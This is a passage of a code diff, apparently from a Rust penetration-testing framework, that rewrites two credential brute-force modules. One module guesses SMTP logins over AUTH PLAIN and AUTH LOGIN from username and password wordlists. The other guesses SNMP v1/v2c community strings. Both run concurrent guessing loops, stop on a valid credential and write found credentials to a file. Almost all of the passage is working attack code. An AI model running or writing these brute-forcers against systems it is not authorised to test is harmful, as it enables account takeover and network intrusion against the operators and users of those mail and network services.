|
||||
let stop_on_success = prompt_yes_no("Stop on first valid login?", true).await?;
|
||||
let full_combo = prompt_yes_no("Try every username with every password?", false).await?;
|
||||
let verbose = prompt_yes_no("Verbose mode?", false).await?;
|
||||
let output_file = prompt_default("Output file for results", "smtp_results.txt").await?;
|
||||
|
||||
let config = SmtpBruteforceConfig {
|
||||
target: target.to_string(),
|
||||
port,
|
||||
@@ -42,255 +56,240 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
stop_on_success,
|
||||
verbose,
|
||||
full_combo,
|
||||
output_file,
|
||||
delay_ms,
|
||||
};
|
||||
run_smtp_bruteforce(config)
|
||||
|
||||
println!();
|
||||
run_smtp_bruteforce(config).await
|
||||
}
|
||||
|
||||
fn run_smtp_bruteforce(config: SmtpBruteforceConfig) -> Result<()> {
|
||||
let addr = normalize_target(&config.target, config.port)?;
|
||||
let usernames = read_lines(&config.username_wordlist)?;
|
||||
let passwords = read_lines(&config.password_wordlist)?;
|
||||
if usernames.is_empty() || passwords.is_empty() {
|
||||
return Err(anyhow!("Username or password wordlist is empty."));
|
||||
}
|
||||
println!("[*] Loaded {} username(s).", usernames.len());
|
||||
println!("[*] Loaded {} password(s).", passwords.len());
|
||||
let found = Arc::new(Mutex::new(Vec::new()));
|
||||
let stop_flag = Arc::new(AtomicBool::new(false));
|
||||
let pool = ThreadPool::new(config.threads);
|
||||
let (tx, rx) = unbounded();
|
||||
async fn run_smtp_bruteforce(config: SmtpBruteforceConfig) -> Result<()> {
|
||||
let usernames = load_lines(&config.username_wordlist)?;
|
||||
let passwords = load_lines(&config.password_wordlist)?;
|
||||
|
||||
let total_attempts = if config.full_combo {
|
||||
usernames.len() * passwords.len()
|
||||
} else {
|
||||
std::cmp::max(usernames.len(), passwords.len())
|
||||
};
|
||||
|
||||
println!("[*] Loaded {} usernames, {} passwords", usernames.len(), passwords.len());
|
||||
println!("[*] Total attempts: {}", total_attempts);
|
||||
|
||||
let stats = Arc::new(BruteforceStats::new());
|
||||
let found_creds = Arc::new(Mutex::new(Vec::new()));
|
||||
let stop_signal = Arc::new(AtomicBool::new(false));
|
||||
let _start_time = std::time::Instant::now();
|
||||
|
||||
// Start progress reporter
|
||||
let stats_clone = stats.clone();
|
||||
let stop_clone = stop_signal.clone();
|
||||
let progress_handle = tokio::spawn(async move {
|
||||
while !stop_clone.load(Ordering::Relaxed) {
|
||||
tokio::time::sleep(Duration::from_secs(2)).await;
|
||||
stats_clone.print_progress();
|
||||
}
|
||||
});
|
||||
|
||||
let semaphore = Arc::new(Semaphore::new(config.threads));
|
||||
let mut tasks = FuturesUnordered::new();
|
||||
|
||||
// Generate combinations
|
||||
let mut combos = Vec::new();
|
||||
if config.full_combo {
|
||||
for u in &usernames { for p in &passwords { tx.send((u.clone(), p.clone()))?; } }
|
||||
} else if usernames.len() == 1 {
|
||||
for p in &passwords { tx.send((usernames[0].clone(), p.clone()))?; }
|
||||
} else if passwords.len() == 1 {
|
||||
for u in &usernames { tx.send((u.clone(), passwords[0].clone()))?; }
|
||||
} else {
|
||||
for p in &passwords { tx.send((usernames[0].clone(), p.clone()))?; }
|
||||
}
|
||||
drop(tx);
|
||||
for _ in 0..config.threads {
|
||||
let rx = rx.clone();
|
||||
let addr = addr.clone();
|
||||
let stop_flag = Arc::clone(&stop_flag);
|
||||
let found = Arc::clone(&found);
|
||||
let config = config.clone();
|
||||
pool.execute(move || {
|
||||
while let Ok((user, pass)) = rx.recv() {
|
||||
if stop_flag.load(Ordering::Relaxed) { break; }
|
||||
if config.verbose { println!("[*] {}:{}", user, pass); }
|
||||
match try_smtp_login(&addr, &user, &pass) {
|
||||
Ok(true) => {
|
||||
println!("[+] VALID: {}:{}", user, pass);
|
||||
let mut creds = found.lock().unwrap(); creds.push((user.clone(), pass.clone()));
|
||||
if config.stop_on_success {
|
||||
stop_flag.store(true, Ordering::Relaxed);
|
||||
while rx.try_recv().is_ok() {}
|
||||
break;
|
||||
}
|
||||
}
|
||||
Ok(false) => {}
|
||||
Err(e) => if config.verbose { eprintln!("[!] {}:{}: {}", user, pass, e); },
|
||||
}
|
||||
for u in &usernames {
|
||||
for p in &passwords {
|
||||
combos.push((u.clone(), p.clone()));
|
||||
}
|
||||
});
|
||||
}
|
||||
pool.join();
|
||||
let found = found.lock().unwrap();
|
||||
if found.is_empty() {
|
||||
println!("[-] No valid credentials.");
|
||||
}
|
||||
} else {
|
||||
println!("[+] Found:");
|
||||
for (u,p) in found.iter() { println!("{}:{}", u, p); }
|
||||
if prompt("Save found? (y/n): ").trim().eq_ignore_ascii_case("y") {
|
||||
let f = prompt("Filename: ");
|
||||
save_results(&f, &found)?;
|
||||
println!("[+] Saved to {}", f);
|
||||
let max_len = std::cmp::max(usernames.len(), passwords.len());
|
||||
for i in 0..max_len {
|
||||
let u = &usernames[i % usernames.len()];
|
||||
let p = &passwords[i % passwords.len()];
|
||||
combos.push((u.clone(), p.clone()));
|
||||
}
|
||||
}
|
||||
|
||||
// Process combinations
|
||||
for (user, pass) in combos {
|
||||
if config.stop_on_success && stop_signal.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
|
||||
let permit = semaphore.clone().acquire_owned().await?;
|
||||
let config_clone = config.clone();
|
||||
let stats_clone = stats.clone();
|
||||
let found_clone = found_creds.clone();
|
||||
let stop_signal_clone = stop_signal.clone();
|
||||
let user_clone = user.clone();
|
||||
let pass_clone = pass.clone();
|
||||
|
||||
tasks.push(tokio::spawn(async move {
|
||||
let _permit = permit;
|
||||
|
||||
if config_clone.stop_on_success && stop_signal_clone.load(Ordering::Relaxed) {
|
||||
return;
|
||||
}
|
||||
|
||||
// Wrap blocking logic
|
||||
let config_inner = config_clone.clone();
|
||||
let user_inner = user_clone.clone();
|
||||
let pass_inner = pass_clone.clone();
|
||||
let res = tokio::task::spawn_blocking(move || {
|
||||
match try_smtp_login(&config_inner.target, config_inner.port, &user_inner, &pass_inner) {
|
||||
Ok(true) => Ok(true),
|
||||
Ok(false) => Ok(false),
|
||||
Err(e) => Err(e),
|
||||
}
|
||||
}).await;
|
||||
|
||||
match res {
|
||||
Ok(Ok(true)) => {
|
||||
println!("\r{}", format!("[+] Found: {}:{}", user_clone, pass_clone).green().bold());
|
||||
found_clone.lock().await.push((user_clone.clone(), pass_clone.clone()));
|
||||
stats_clone.record_success();
|
||||
if config_clone.stop_on_success {
|
||||
stop_signal_clone.store(true, Ordering::Relaxed);
|
||||
}
|
||||
},
|
||||
Ok(Ok(false)) => {
|
||||
stats_clone.record_failure();
|
||||
if config_clone.verbose {
|
||||
println!("\r{}", format!("[-] Failed: {}:{}", user_clone, pass_clone).dimmed());
|
||||
}
|
||||
},
|
||||
Ok(Err(e)) => {
|
||||
stats_clone.record_error(e.to_string()).await;
|
||||
if config_clone.verbose {
|
||||
println!("\r{}", format!("[!] Error {}:{}: {}", user_clone, pass_clone, e).red());
|
||||
}
|
||||
},
|
||||
Err(e) => {
|
||||
stats_clone.record_error(format!("Task panic: {}", e)).await;
|
||||
}
|
||||
}
|
||||
|
||||
if config_clone.delay_ms > 0 {
|
||||
tokio::time::sleep(Duration::from_millis(config_clone.delay_ms)).await;
|
||||
}
|
||||
}));
|
||||
|
||||
// Memory management: drain completed tasks
|
||||
while let std::task::Poll::Ready(Some(_)) = futures::future::poll_fn(|cx| std::task::Poll::Ready(tasks.poll_next_unpin(cx))).await {}
|
||||
}
|
||||
|
||||
while let Some(_) = tasks.next().await {}
|
||||
|
||||
stop_signal.store(true, Ordering::Relaxed);
|
||||
let _ = progress_handle.await;
|
||||
|
||||
stats.print_final().await;
|
||||
|
||||
// Save results
|
||||
let found = found_creds.lock().await;
|
||||
if !found.is_empty() {
|
||||
if let Ok(mut file) = std::fs::OpenOptions::new().create(true).append(true).open(&config.output_file) {
|
||||
use std::io::Write;
|
||||
for (u, p) in found.iter() {
|
||||
let _ = writeln!(file, "{}:{}", u, p);
|
||||
}
|
||||
println!("[+] Results saved to {}", config.output_file);
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Try login with both AUTH PLAIN and AUTH LOGIN, returns Ok(true) if success, Ok(false) if auth fail, Err on connection/protocol error.
|
||||
fn try_smtp_login(addr: &str, username: &str, password: &str) -> Result<bool> {
|
||||
use base64::{engine::general_purpose, Engine as _};
|
||||
let socket = addr.to_socket_addrs()?.next().ok_or_else(|| anyhow::anyhow!("Could not resolve address"))?;
|
||||
let stream = TcpStream::connect_timeout(&socket, Duration::from_millis(1500)).context("Connect timeout")?;
|
||||
stream.set_read_timeout(Some(Duration::from_millis(1500))).ok();
|
||||
stream.set_write_timeout(Some(Duration::from_millis(1500))).ok();
|
||||
let mut telnet = Telnet::from_stream(Box::new(stream), 256);
|
||||
fn try_smtp_login(target: &str, port: u16, username: &str, password: &str) -> Result<bool> {
|
||||
let addr = format!("{}:{}", target, port);
|
||||
let socket = addr.to_socket_addrs()?.next().ok_or_else(|| anyhow!("Resolution failed"))?;
|
||||
let stream = TcpStream::connect_timeout(&socket, Duration::from_millis(2000))?;
|
||||
stream.set_read_timeout(Some(Duration::from_millis(2000)))?;
|
||||
stream.set_write_timeout(Some(Duration::from_millis(2000)))?;
|
||||
|
||||
let mut telnet = Telnet::from_stream(Box::new(stream), 512);
|
||||
|
||||
let mut banner_ok = false;
|
||||
for _ in 0..3 {
|
||||
let event = telnet.read().context("Banner read error")?;
|
||||
let event = telnet.read().context("Banner read")?;
|
||||
if let Event::Data(b) = event {
|
||||
let s = String::from_utf8_lossy(&b);
|
||||
if s.starts_with("220") { banner_ok = true; break; }
|
||||
}
|
||||
}
|
||||
if !banner_ok { return Err(anyhow::anyhow!("No 220 banner")); }
|
||||
if !banner_ok { return Err(anyhow!("No 220 banner")); }
|
||||
|
||||
telnet.write(b"EHLO scanner\r\n")?;
|
||||
|
||||
let mut login_ok = false;
|
||||
let mut plain_ok = false;
|
||||
let mut ehlo_seen = false;
|
||||
let mut buf = String::new();
|
||||
|
||||
for _ in 0..6 {
|
||||
let event = telnet.read()?;
|
||||
let event = telnet.read().context("EHLO read")?;
|
||||
if let Event::Data(b) = event {
|
||||
let s = String::from_utf8_lossy(&b);
|
||||
buf.push_str(&s);
|
||||
if s.contains("AUTH") && s.contains("PLAIN") { plain_ok = true; }
|
||||
if s.contains("AUTH") && s.contains("LOGIN") { login_ok = true; }
|
||||
if s.starts_with("250 ") { ehlo_seen = true; break; }
|
||||
}
|
||||
}
|
||||
if !ehlo_seen { return Ok(false); }
|
||||
|
||||
// Try AUTH PLAIN
|
||||
if plain_ok {
|
||||
let mut blob = vec![0];
|
||||
blob.extend(username.as_bytes()); blob.push(0); blob.extend(password.as_bytes());
|
||||
let cmd = format!("AUTH PLAIN {}\r\n", general_purpose::STANDARD.encode(&blob));
|
||||
telnet.write(cmd.as_bytes())?;
|
||||
|
||||
for _ in 0..2 {
|
||||
let event = telnet.read()?;
|
||||
if let Event::Data(b) = event {
|
||||
let s = String::from_utf8_lossy(&b);
|
||||
if s.starts_with("235") { telnet.write(b"QUIT\r\n").ok(); return Ok(true); }
|
||||
if s.starts_with("535") || s.starts_with("5") { break; }
|
||||
}
|
||||
let event = telnet.read().context("Auth response")?;
|
||||
if let Event::Data(b) = event {
|
||||
let s = String::from_utf8_lossy(&b);
|
||||
if s.starts_with("235") { telnet.write(b"QUIT\r\n").ok(); return Ok(true); }
|
||||
if s.starts_with("535") || s.starts_with("5") { return Ok(false); }
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Try AUTH LOGIN
|
||||
if login_ok {
|
||||
telnet.write(b"AUTH LOGIN\r\n")?;
|
||||
let mut expect_user = false;
|
||||
|
||||
// Wait for username prompt (334)
|
||||
for _ in 0..2 {
|
||||
let event = telnet.read()?;
|
||||
if let Event::Data(b) = event {
|
||||
let s = String::from_utf8_lossy(&b);
|
||||
if s.starts_with("334") { expect_user = true; break; }
|
||||
}
|
||||
let event = telnet.read().context("Auth Login prompt")?;
|
||||
if let Event::Data(b) = event {
|
||||
if String::from_utf8_lossy(&b).starts_with("334") { break; }
|
||||
}
|
||||
}
|
||||
if !expect_user { return Ok(false); }
|
||||
|
||||
let ucmd = format!("{}\r\n", general_purpose::STANDARD.encode(username.as_bytes()));
|
||||
telnet.write(ucmd.as_bytes())?;
|
||||
let mut expect_pass = false;
|
||||
for _ in 0..2 {
|
||||
let event = telnet.read()?;
|
||||
if let Event::Data(b) = event {
|
||||
let s = String::from_utf8_lossy(&b);
|
||||
if s.starts_with("334") { expect_pass = true; break; }
|
||||
}
|
||||
|
||||
// Wait for password prompt (334)
|
||||
for _ in 0..2 {
|
||||
let event = telnet.read().context("Auth Pass prompt")?;
|
||||
if let Event::Data(b) = event {
|
||||
if String::from_utf8_lossy(&b).starts_with("334") { break; }
|
||||
}
|
||||
}
|
||||
if !expect_pass { return Ok(false); }
|
||||
|
||||
let pcmd = format!("{}\r\n", general_purpose::STANDARD.encode(password.as_bytes()));
|
||||
telnet.write(pcmd.as_bytes())?;
|
||||
|
||||
for _ in 0..2 {
|
||||
let event = telnet.read()?;
|
||||
let event = telnet.read().context("Auth final response")?;
|
||||
if let Event::Data(b) = event {
|
||||
let s = String::from_utf8_lossy(&b);
|
||||
if s.starts_with("235") { telnet.write(b"QUIT\r\n").ok(); return Ok(true); }
|
||||
if s.starts_with("535") || s.starts_with("5") { break; }
|
||||
if s.starts_with("235") { telnet.write(b"QUIT\r\n").ok(); return Ok(true); }
|
||||
if s.starts_with("535") || s.starts_with("5") { return Ok(false); }
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(false)
|
||||
}
|
||||
|
||||
fn read_lines(path: &str) -> Result<Vec<String>> {
|
||||
let file = File::open(path).context(format!("Open: {}", path))?;
|
||||
Ok(BufReader::new(file).lines().filter_map(Result::ok).filter(|s|!s.trim().is_empty()).collect())
|
||||
}
|
||||
|
||||
fn save_results(path: &str, creds: &[(String, String)]) -> Result<()> {
|
||||
let mut file = OpenOptions::new().create(true).write(true).truncate(true).open(path)?;
|
||||
for (u,p) in creds { writeln!(file, "{}:{}", u, p)?; }
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn prompt(msg: &str) -> String {
|
||||
print!("{}", msg);
|
||||
if let Err(e) = io::stdout().flush() {
|
||||
eprintln!("[!] Failed to flush stdout: {}", e);
|
||||
}
|
||||
let mut b = String::new();
|
||||
match io::stdin().read_line(&mut b) {
|
||||
Ok(_) => b.trim().to_string(),
|
||||
Err(e) => {
|
||||
eprintln!("[!] Failed to read input: {}", e);
|
||||
String::new()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_port(default: u16) -> u16 {
|
||||
loop {
|
||||
let input = prompt(&format!("Port (default {}): ", default));
|
||||
if input.is_empty() {
|
||||
return default;
|
||||
}
|
||||
match input.parse::<u16>() {
|
||||
Ok(0) => println!("[!] Port cannot be zero. Please enter a value between 1 and 65535."),
|
||||
Ok(port) => return port,
|
||||
Err(_) => println!("[!] Invalid port. Please enter a number between 1 and 65535."),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_threads(default: usize) -> usize {
|
||||
loop {
|
||||
let input = prompt(&format!("Threads (default {}): ", default));
|
||||
if input.is_empty() {
|
||||
return default.max(1);
|
||||
}
|
||||
if let Ok(value) = input.parse::<usize>() {
|
||||
if value >= 1 && value <= 1024 {
|
||||
return value;
|
||||
}
|
||||
}
|
||||
println!("[!] Invalid thread count. Please enter a value between 1 and 1024.");
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_yes_no(message: &str, default_yes: bool) -> bool {
|
||||
let default_char = if default_yes { "y" } else { "n" };
|
||||
loop {
|
||||
let input = prompt(&format!("{} (y/n) [{}]: ", message, default_char));
|
||||
if input.is_empty() {
|
||||
return default_yes;
|
||||
}
|
||||
match input.to_lowercase().as_str() {
|
||||
"y" | "yes" => return true,
|
||||
"n" | "no" => return false,
|
||||
_ => println!("[!] Please respond with y or n."),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_wordlist(message: &str) -> Result<String> {
|
||||
loop {
|
||||
let response = prompt(message);
|
||||
if response.is_empty() {
|
||||
println!("[!] Path cannot be empty.");
|
||||
continue;
|
||||
}
|
||||
let trimmed = response.trim();
|
||||
if Path::new(trimmed).is_file() {
|
||||
return Ok(trimmed.to_string());
|
||||
} else {
|
||||
println!(
|
||||
"{}",
|
||||
format!("File '{}' does not exist or is not a regular file.", trimmed).yellow()
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn normalize_target(host: &str, port: u16) -> Result<String> {
|
||||
let re = Regex::new(r"^\[*([^\]]+?)\]*(?::(\d{1,5}))?$" ).unwrap();
|
||||
let t = host.trim();
|
||||
let cap = re.captures(t).ok_or_else(|| anyhow::anyhow!("Invalid target: {}", host))?;
|
||||
let addr = cap.get(1).unwrap().as_str();
|
||||
let p = cap.get(2).map(|m| m.as_str().parse::<u16>().ok()).flatten().unwrap_or(port);
|
||||
let f = if addr.contains(':') && !addr.starts_with('[') { format!("[{}]:{}", addr, p) } else { format!("{}:{}", addr, p) };
|
||||
if f.to_socket_addrs()?.next().is_none() { Err(anyhow::anyhow!("DNS fail: {}", f)) } else { Ok(f) }
|
||||
}
|
||||
|
||||
@@ -2,178 +2,172 @@ use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use futures::stream::{FuturesUnordered, StreamExt};
|
||||
use std::{
|
||||
fs::File,
|
||||
io::{BufRead, BufReader, Write},
|
||||
io::Write,
|
||||
net::{SocketAddr, UdpSocket},
|
||||
path::{Path, PathBuf},
|
||||
sync::Arc,
|
||||
time::Duration,
|
||||
time::{Duration, Instant},
|
||||
};
|
||||
use std::sync::atomic::{AtomicBool, Ordering};
|
||||
use regex::Regex;
|
||||
use tokio::{sync::Mutex, task::spawn_blocking, time::sleep};
|
||||
|
||||
use tokio::{
|
||||
sync::Mutex,
|
||||
sync::Semaphore,
|
||||
task::spawn_blocking,
|
||||
time::sleep,
|
||||
};
|
||||
|
||||
use crate::utils::{
|
||||
prompt_yes_no, prompt_existing_file, prompt_int_range,
|
||||
load_lines, prompt_default, normalize_target,
|
||||
};
|
||||
use crate::modules::creds::utils::BruteforceStats;
|
||||
|
||||
const PROGRESS_INTERVAL_SECS: u64 = 2;
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("=== SNMPv1 & SNMPv2c Brute Force Module ===");
|
||||
println!("[*] Target: {}", target);
|
||||
|
||||
let port: u16 = loop {
|
||||
let input = prompt_default("SNMP Port", "161")?;
|
||||
match input.trim().parse::<u16>() {
|
||||
Ok(p) if p > 0 => break p,
|
||||
Ok(_) => println!("{}", "Port must be between 1 and 65535.".yellow()),
|
||||
Err(_) => println!("{}", "Invalid port number. Please enter a number between 1 and 65535.".yellow()),
|
||||
}
|
||||
};
|
||||
|
||||
let communities_file = loop {
|
||||
let input = prompt_required("Community string wordlist file path")?;
|
||||
let path = Path::new(&input);
|
||||
if !path.exists() {
|
||||
println!("{}", format!("File '{}' does not exist.", input).yellow());
|
||||
println!("{}", "Tip: Common SNMP community wordlists are at /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt".yellow());
|
||||
continue;
|
||||
}
|
||||
if !path.is_file() {
|
||||
println!("{}", format!("'{}' is not a regular file.", input).yellow());
|
||||
continue;
|
||||
}
|
||||
// Check if file is readable
|
||||
match File::open(path) {
|
||||
Ok(_) => break input,
|
||||
Err(e) => {
|
||||
println!("{}", format!("Cannot read file '{}': {}", input, e).yellow());
|
||||
continue;
|
||||
}
|
||||
}
|
||||
};
|
||||
println!("\n{}", "=== SNMPv1/v2c Brute Force Module ===".bold().cyan());
|
||||
println!("{}", " Community String Discovery Tool".cyan());
|
||||
println!();
|
||||
println!("{}", format!("[*] Target: {}", target).cyan());
|
||||
|
||||
let default_port = 161;
|
||||
let port = prompt_int_range("SNMP Port", default_port as i64, 1, 65535).await? as u16;
|
||||
|
||||
let communities_file = prompt_existing_file("Community string wordlist file path").await?;
|
||||
|
||||
// Custom prompt for version since it's specific
|
||||
let snmp_version = loop {
|
||||
let input = prompt_default("SNMP Version (1 or 2c)", "2c")?;
|
||||
let input = prompt_default("SNMP Version (1 or 2c)", "2c").await?;
|
||||
match input.trim().to_lowercase().as_str() {
|
||||
"1" => break 0, // SNMPv1
|
||||
"2c" | "2" => break 1, // SNMPv2c
|
||||
_ => println!("Invalid version. Enter '1' or '2c'."),
|
||||
}
|
||||
};
|
||||
|
||||
let concurrency = prompt_int_range("Max concurrent tasks", 50, 1, 1000).await? as usize;
|
||||
let stop_on_success = prompt_yes_no("Stop on first success?", true).await?;
|
||||
|
||||
// Output file handled by saving results at the end usually, but old code asked upfront.
|
||||
// I'll stick to standard flow: prompt for save at end OR automatically if specified.
|
||||
// Existing modules prompted for output file upfront. I'll do that for consistency with new standard.
|
||||
let output_file = prompt_default("Output file", "snmp_results.txt").await?;
|
||||
|
||||
let verbose = prompt_yes_no("Verbose mode?", false).await?;
|
||||
let timeout_secs = prompt_int_range("Timeout (seconds)", 3, 1, 300).await? as u64;
|
||||
|
||||
let concurrency: usize = loop {
|
||||
let input = prompt_default("Max concurrent tasks", "50")?;
|
||||
match input.trim().parse::<usize>() {
|
||||
Ok(n) if n > 0 && n <= 10000 => break n,
|
||||
Ok(n) if n == 0 => println!("{}", "Concurrency must be greater than 0.".yellow()),
|
||||
Ok(_) => println!("{}", "Concurrency must be between 1 and 10000.".yellow()),
|
||||
Err(_) => println!("{}", "Invalid number. Please enter a positive integer.".yellow()),
|
||||
}
|
||||
};
|
||||
|
||||
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
|
||||
let save_results = prompt_yes_no("Save results to file?", true)?;
|
||||
let save_path = if save_results {
|
||||
Some(prompt_default("Output file", "snmp_brute_results.txt")?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
let verbose = prompt_yes_no("Verbose mode?", false)?;
|
||||
let timeout_secs: u64 = loop {
|
||||
let input = prompt_default("Timeout (seconds)", "3")?;
|
||||
match input.trim().parse::<u64>() {
|
||||
Ok(n) if n > 0 && n <= 300 => break n,
|
||||
Ok(n) if n == 0 => println!("{}", "Timeout must be greater than 0.".yellow()),
|
||||
Ok(_) => println!("{}", "Timeout must be between 1 and 300 seconds.".yellow()),
|
||||
Err(_) => println!("{}", "Invalid timeout. Please enter a number between 1 and 300.".yellow()),
|
||||
}
|
||||
};
|
||||
|
||||
let connect_addr = normalize_target(target, port)?;
|
||||
let connect_addr = format!("{}:{}", normalize_target(target)?, port);
|
||||
|
||||
let found = Arc::new(Mutex::new(Vec::new()));
|
||||
let stop = Arc::new(AtomicBool::new(false));
|
||||
let stats = Arc::new(BruteforceStats::new());
|
||||
|
||||
println!("\n[*] Starting SNMP brute-force on {}", connect_addr);
|
||||
println!("[*] SNMP Version: {}", if snmp_version == 0 { "v1" } else { "v2c" });
|
||||
|
||||
let communities = load_lines(&communities_file)?;
|
||||
if communities.is_empty() {
|
||||
println!("[!] Community wordlist is empty or invalid. Exiting.");
|
||||
println!("[!] Community wordlist is empty. Exiting.");
|
||||
return Ok(());
|
||||
}
|
||||
println!("{}", format!("[*] Loaded {} community strings", communities.len()).cyan());
|
||||
println!();
|
||||
|
||||
// Start progress reporter
|
||||
let stats_clone = stats.clone();
|
||||
let stop_clone = stop.clone();
|
||||
let _start_time = Instant::now();
|
||||
let progress_handle = tokio::spawn(async move {
|
||||
loop {
|
||||
if stop_clone.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)).await;
|
||||
stats_clone.print_progress();
|
||||
}
|
||||
});
|
||||
|
||||
let communities = Arc::new(communities);
|
||||
let mut tasks: FuturesUnordered<_> = FuturesUnordered::new();
|
||||
let mut tasks = FuturesUnordered::new();
|
||||
let semaphore = Arc::new(Semaphore::new(concurrency));
|
||||
|
||||
for community in communities.iter() {
|
||||
if stop_on_success && stop.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
|
||||
let permit = semaphore.clone().acquire_owned().await?;
|
||||
let addr_clone = connect_addr.clone();
|
||||
let community_clone = community.clone();
|
||||
let found_clone = Arc::clone(&found);
|
||||
let stop_clone = Arc::clone(&stop);
|
||||
let stats_clone = Arc::clone(&stats);
|
||||
let stop_flag = stop_on_success;
|
||||
let verbose_flag = verbose;
|
||||
let version = snmp_version;
|
||||
let timeout = Duration::from_secs(timeout_secs);
|
||||
|
||||
tasks.push(tokio::spawn(async move {
|
||||
let _permit = permit;
|
||||
|
||||
if stop_flag && stop_clone.load(Ordering::Relaxed) {
|
||||
return;
|
||||
}
|
||||
|
||||
match try_snmp_community(&addr_clone, &community_clone, version, timeout).await {
|
||||
Ok(true) => {
|
||||
println!("[+] {} -> community: '{}'", addr_clone, community_clone);
|
||||
println!("\r{}", format!("[+] {} -> community: '{}'", addr_clone, community_clone).green().bold());
|
||||
found_clone
|
||||
.lock()
|
||||
.await
|
||||
.push((addr_clone.clone(), community_clone.clone()));
|
||||
stats_clone.record_success();
|
||||
if stop_flag {
|
||||
stop_clone.store(true, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
Ok(false) => {
|
||||
log(verbose_flag, &format!("[-] {} -> community: '{}'", addr_clone, community_clone));
|
||||
stats_clone.record_failure();
|
||||
if verbose_flag {
|
||||
println!("\r{}", format!("[-] {} -> community: '{}'", addr_clone, community_clone).dimmed());
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
log(verbose_flag, &format!("[!] {}: error: {}", addr_clone, e));
|
||||
stats_clone.record_error(e.to_string()).await;
|
||||
if verbose_flag {
|
||||
println!("\r{}", format!("[!] {}: error: {}", addr_clone, e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
sleep(Duration::from_millis(10)).await;
|
||||
}));
|
||||
|
||||
if tasks.len() >= concurrency {
|
||||
if let Some(res) = tasks.next().await {
|
||||
if let Err(e) = res {
|
||||
log(verbose, &format!("[!] Task join error: {}", e));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Drain
|
||||
while let std::task::Poll::Ready(Some(_)) = futures::future::poll_fn(|cx| std::task::Poll::Ready(tasks.poll_next_unpin(cx))).await {}
|
||||
}
|
||||
|
||||
while let Some(res) = tasks.next().await {
|
||||
if let Err(e) = res {
|
||||
log(verbose, &format!("[!] Task join error: {}", e));
|
||||
}
|
||||
}
|
||||
while let Some(_) = tasks.next().await {}
|
||||
|
||||
// Stop progress reporter
|
||||
stop.store(true, Ordering::Relaxed);
|
||||
let _ = progress_handle.await;
|
||||
|
||||
// Print final statistics
|
||||
stats.print_final().await;
|
||||
|
||||
let creds = found.lock().await;
|
||||
if creds.is_empty() {
|
||||
println!("\n[-] No valid community strings found.");
|
||||
println!("{}", "[-] No valid community strings found.".yellow());
|
||||
} else {
|
||||
println!("\n[+] Valid community strings:");
|
||||
for (host, community) in creds.iter() {
|
||||
println!(" {} -> community: '{}'", host, community);
|
||||
}
|
||||
|
||||
if let Some(path_str) = save_path {
|
||||
let filename = get_filename_in_current_dir(&path_str);
|
||||
let mut file = File::create(&filename)?;
|
||||
println!("{}", format!("[+] Found {} valid community string(s):", creds.len()).green().bold());
|
||||
|
||||
if let Ok(mut file) = std::fs::OpenOptions::new().create(true).append(true).open(&output_file) {
|
||||
for (host, community) in creds.iter() {
|
||||
writeln!(file, "{} -> community: '{}'", host, community)?;
|
||||
println!(" {} -> community: '{}'", host, community);
|
||||
let _ = writeln!(file, "{} -> community: '{}'", host, community);
|
||||
}
|
||||
println!("[+] Results saved to '{}'", filename.display());
|
||||
println!("[+] Results saved to '{}'", output_file);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -536,108 +530,4 @@ fn encode_sub_id(mut value: u32, output: &mut Vec<u8>) {
|
||||
}
|
||||
|
||||
|
||||
fn normalize_target(host: &str, default_port: u16) -> Result<String> {
|
||||
let re = Regex::new(r"^\[*(?P<addr>[^\]]+?)\]*(?::(?P<port>\d{1,5}))?$").unwrap();
|
||||
let trimmed = host.trim();
|
||||
let caps = re
|
||||
.captures(trimmed)
|
||||
.ok_or_else(|| anyhow!("Invalid target format: {}", host))?;
|
||||
let addr = caps.name("addr").unwrap().as_str();
|
||||
let port = if let Some(m) = caps.name("port") {
|
||||
m.as_str()
|
||||
.parse::<u16>()
|
||||
.map_err(|_| anyhow!("Invalid port value in target '{}'", host))?
|
||||
} else {
|
||||
default_port
|
||||
};
|
||||
let formatted = if addr.contains(':') && !addr.contains('.') {
|
||||
format!("[{}]:{}", addr, port)
|
||||
} else {
|
||||
format!("{}:{}", addr, port)
|
||||
};
|
||||
|
||||
// Validate that the address can be resolved
|
||||
formatted
|
||||
.parse::<std::net::SocketAddr>()
|
||||
.map_err(|e| anyhow!("Could not parse address '{}': {}", formatted, e))?;
|
||||
|
||||
Ok(formatted)
|
||||
}
|
||||
|
||||
|
||||
fn prompt_required(msg: &str) -> Result<String> {
|
||||
loop {
|
||||
print!("{}", format!("{}: ", msg).cyan().bold());
|
||||
std::io::stdout().flush()?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let trimmed = s.trim();
|
||||
if !trimmed.is_empty() {
|
||||
return Ok(trimmed.to_string());
|
||||
} else {
|
||||
println!("{}", "This field is required.".yellow());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_default(msg: &str, default: &str) -> Result<String> {
|
||||
print!("{}", format!("{} [{}]: ", msg, default).cyan().bold());
|
||||
std::io::stdout().flush()?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let trimmed = s.trim();
|
